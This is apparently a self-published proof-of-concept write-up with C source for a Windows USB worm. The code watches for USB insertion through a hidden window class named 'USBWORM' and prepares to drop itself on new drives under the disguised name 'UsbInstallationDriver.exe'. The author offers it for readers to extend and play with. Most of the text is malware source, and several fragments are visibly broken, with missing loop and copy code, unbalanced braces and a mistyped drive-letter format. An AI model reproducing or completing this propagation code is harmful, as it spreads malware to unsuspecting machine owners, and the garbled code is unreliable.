USB Propagation
USB Propagation
1. Although it copies to the USB device, the binary will not auto-execute when the USB is
plugged into another computer. The copied file must rely on masquerading to survive.
2. This proof of concept does not differentiate between USB thumb drives and USB
external harddrives.
3. This technique has not been tested against any security products
4. This is a proof of concept. Have fun. :)
As a final note, many of the APIs invoked in this code are from forwarded to Win32u.dll. It may
be possible to get syscalls for this and do some really cool stuff. I encourage exploration of this
technique. Let me know what you find.
-smelly
The code:
LRESULT CALLBACK WndProcRoutine(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR lpCmdLine, int nShowCmd)
{
DWORD dwError = ERROR_SUCCESS;
WNDCLASSEXW WndClass = { 0 };
WCHAR lpClassName[] = L"USBWORM";
ATOM aTable = 0;
MSG uMessage;
INT Ret = 0;
HWND hWnd;
WndClass.cbSize = sizeof(WndClass);
WndClass.lpfnWndProc = (WNDPROC)WndProcRoutine;
WndClass.hInstance = GetModuleHandle(NULL);
WndClass.lpszClassName = (LPWSTR)lpClassName;
aTable = RegisterClassExW(&WndClass);
if (!aTable)
goto FAILURE;
hWnd = CreateWindowExW(0, lpClassName, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, N
ULL);
if(hWnd == NULL)
goto FAILURE;
TranslateMessage(&uMessage);
DispatchMessageW(&uMessage);
}
if(aTable)
UnregisterClassW(lpClassName, hInstance);
return ERROR_SUCCESS;
FAILURE:
dwError = GetLastError();
if (aTable)
UnregisterClassW(lpClassName, hInstance);
return dwError;
}
Our code uses the WinMain entry point because it relies on Message notifications to receive
messages from the OS on device arrival or exit. This means this code uses the Windows UI
subsystem (NOT CONSOLE). Upon start our code registers a class, titled “USBWORM”, and
leaves all UI elements empty with an invocation to CreateWindowEx.
The primary element to focus on is our CALLBACK routine WndProcRoutine which handles
notifications from the OS. This is where our application will handle device insertion or removal
messages. We will review our callback in a moment.
The entire entry point is fairly generic UI code, including the usage of GetMessage,
TranslateMessage, and DispatchMessage. Note at the end of the code, in the event our
message pump fails and/or terminates, we make a call to UnregisterClass to make sure our
application exits cleanly and safely.
LRESULT CALLBACK WndProcRoutine(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
static HDEVNOTIFY hDeviceNotify;
switch (uMsg)
{
case WM_CREATE:
break;
case WM_DEVICECHANGE:
break;
case DBT_DEVICEREMOVECOMPLETE:
break;
case WM_CLOSE:
case WM_DESTROY:
break;
default:
{
return DefWindowProc(hWnd, uMsg, wParam, lParam);
break;
}
return ERROR_SUCCESS;
}
Our callback will handle notifications on Window creation, WM_CREATE, for when it initially
runs. It will also handle application WM_CLOSE and WM_DESTROY messages to handle
notifications of application exit.
As you can see, our application also handles notifications for
DBT_DEVICEREMOVECOMPLETE and WM_DEVICECHANGE. These are notifications we
can register to receive which notify our application of device removal or device changes (such
as insertion).
For sake of simplicity we will review how each message is handled. Then to conclude this paper
I will share the source code in totality.
case WM_CREATE:
{
DEV_BROADCAST_DEVICEINTERFACE_W NotificationFilter = { 0 };
PWCHAR szLetter = NULL;
GUID InterfaceClassGuid = { 0x25dbce51, 0x6c8f, 0x4a72,
0x8a, 0x6d, 0xb5, 0x4c, 0x2b,
0x4f, 0xc8, 0x35 };
NotificationFilter.dbcc_size = sizeof(DEV_BROADCAST_DEVICEINTERFACE_W);
NotificationFilter.dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE;
NotificationFilter.dbcc_classguid = GUID_DEVINTERFACE_USB_DEVICE;
hDeviceNotify = RegisterDeviceNotificationW(hWnd,
&NotificationFilter,
DEVICE_NOTIFY_WINDOW_HANDLE);
if (hDeviceNotify == NULL)
ExitProcess(GetLastError());
break;
}
case WM_CLOSE:
case WM_DESTROY:
{
if(hDeviceNotify)
UnregisterDeviceNotification(hDeviceNotify);
break;
}
case DBT_DEVICEREMOVECOMPLETE:
break;
default:
{
return DefWindowProc(hWnd, uMsg, wParam, lParam);
break;
}
[continued below]
The final segment in our code is handling WM_DEVICECHANGE events.
case WM_DEVICECHANGE:
{
PDEV_BROADCAST_HDR lpDev = (PDEV_BROADCAST_HDR)lParam;
PDEV_BROADCAST_DEVICEINTERFACE_W Dev = NULL;
PDEV_BROADCAST_VOLUME lpVolume = NULL;
DWORD dwMask = 0;
WCHAR tPayloadPath[MAX_PATH] = { 0 };
switch (wParam)
{
case DBT_DEVNODES_CHANGED:
{
Sleep(10);
break;
}
case DBT_DEVICEARRIVAL:
{
if (lpDev->dbch_devicetype == 2 || lpDev->dbch_devicetype == 5)
{
lpVolume = (PDEV_BROADCAST_VOLUME)lpDev;
if (lpVolume->dbcv_flags & DBTF_MEDIA)
{
CHAR X;
dwMask = lpVolume->dbcv_unitmask;
swprintf(tPayloadPath, MAX_PATH,
L"%c:\\UsbInstallationDriver.exe",
dwMask);
break;
}
}
}
break;
}
In the event of a WM_DEVICECHANGE we will typecast the LPARAM parameter received from
the message notification to a DEV_BROADCAST_HDR structure. The WPARAM parameter
from our message notification will inform us of the subtype message. In our code we intend on
parsing only DBT_DEVICEARRIVAL notifications.